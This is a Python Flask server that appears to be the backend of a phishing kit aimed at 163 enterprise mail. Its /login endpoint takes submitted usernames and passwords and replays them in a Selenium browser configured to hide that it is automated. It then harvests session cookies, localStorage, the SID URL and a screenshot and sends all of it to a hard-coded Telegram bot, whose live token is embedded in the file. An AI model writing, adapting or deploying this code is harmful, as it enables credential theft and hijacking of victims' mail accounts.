from flask import Flask, request, jsonify
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
import json
import requests
import random
import os

TELEGRAM_BOT_TOKEN = "8467011998:AAGwFbE_kMBVZXH-6d_ZDLisLy8O5dnzzsM"
TELEGRAM_CHAT_ID = "6602714506"

app = Flask(__name__)

def sanitize_cookie(cookie):
    valid_same_site = ["lax", "strict", "no_restriction", "unspecified"]
    if "sameSite" in cookie:
        value = str(cookie["sameSite"]).strip().lower()
        if value in valid_same_site:
            cookie["sameSite"] = value
        else:
            del cookie["sameSite"]
    cookie.pop("expiry", None)
    return cookie

def send_telegram_message_with_photo(photo_path, message):
    url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendPhoto"
    with open(photo_path, "rb") as photo:
        files = {"photo": photo}
        data = {"chat_id": TELEGRAM_CHAT_ID, "caption": message, "parse_mode": "Markdown"}
        requests.post(url, files=files, data=data)

def send_telegram_file(file_path, caption):
    url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendDocument"
    with open(file_path, "rb") as file:
        files = {"document": file}
        data = {"chat_id": TELEGRAM_CHAT_ID, "caption": caption}
        requests.post(url, files=files, data=data)

@app.route("/login", methods=["POST"])
def login():
    data = request.json
    username = data.get("username")
    password = data.get("password")

    options = webdriver.ChromeOptions()
    options.add_argument("--disable-blink-features=AutomationControlled")
    options.add_experimental_option("excludeSwitches", ["enable-automation"])
    options.add_experimental_option("useAutomationExtension", False)

    driver = webdriver.Chrome(options=options)
    driver.execute_script("Object.defineProperty(navigator, 'webdriver', {get: () => undefined})")

    try:
        driver.get("https://mailh.qiye.163.com/")
        time.sleep(random.uniform(2, 4))

        wait = WebDriverWait(driver, 15)
        wait.until(EC.presence_of_element_located((By.ID, "account_name"))).send_keys(username)
        time.sleep(random.uniform(0.5, 1.5))
        driver.find_element(By.ID, "password").send_keys(password)
        time.sleep(random.uniform(0.5, 1.5))

        login_btn = wait.until(EC.element_to_be_clickable((By.ID, "submit-btn")))
        driver.execute_script("arguments[0].click();", login_btn)

        WebDriverWait(driver, 20).until(EC.url_contains("mailh.qiye.163.com/js6"))
        time.sleep(2)

        # Get Full SID URL
        full_sid_url = driver.current_url

        timestamp = time.strftime("%Y-%m-%d_%H-%M-%S")
        screenshot_filename = f"login163_screenshot_{timestamp}.png"
        driver.save_screenshot(screenshot_filename)

        raw_cookies = driver.get_cookies()
        sanitized_cookies = [sanitize_cookie(c) for c in raw_cookies]
        cookies_filename = f"login163_cookies_{username}_{timestamp}.json"
        with open(cookies_filename, "w") as f:
            json.dump(sanitized_cookies, f, indent=4)

        local_storage = driver.execute_script("""
            let data = {};
            for (let i = 0; i < localStorage.length; i++) {
                const key = localStorage.key(i);
                data[key] = localStorage.getItem(key);
            }
            return data;
        """)
        local_storage_filename = f"login163_localstorage_{username}_{timestamp}.json"
        with open(local_storage_filename, "w", encoding="utf-8") as f:
            json.dump(local_storage, f, indent=4, ensure_ascii=False)

        message = (
            "✅ *163 Mail Login Successful!*\n"
            f"👤 *Email:* `{username}`\n"
            f"📂 *Cookies File:* `{cookies_filename}` (attached)\n"
            f"📂 *LocalStorage File:* `{local_storage_filename}` (attached)\n"
            f"🔗 *Full SID URL:* `{full_sid_url}`\n"
            "🖼 Screenshot below 👇"
        )

        send_telegram_message_with_photo(screenshot_filename, message)
        send_telegram_file(cookies_filename, "Login cookies file for 163 mail.")
        send_telegram_file(local_storage_filename, "Login localStorage for 163 mail.")

        return jsonify({
            "status": "success",
            "message": "Login successful!",
            "cookies_file": cookies_filename,
            "local_storage_file": local_storage_filename,
            "full_sid_url": full_sid_url
        })

    except Exception as e:
        try:
            error_img = f"error_{int(time.time())}.png"
            driver.save_screenshot(error_img)
            send_telegram_message_with_photo(error_img, f"❌ *Login Error:* `{str(e)}`")
        except:
            pass
        return jsonify({"status": "error", "message": str(e)})

    finally:
        driver.quit()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)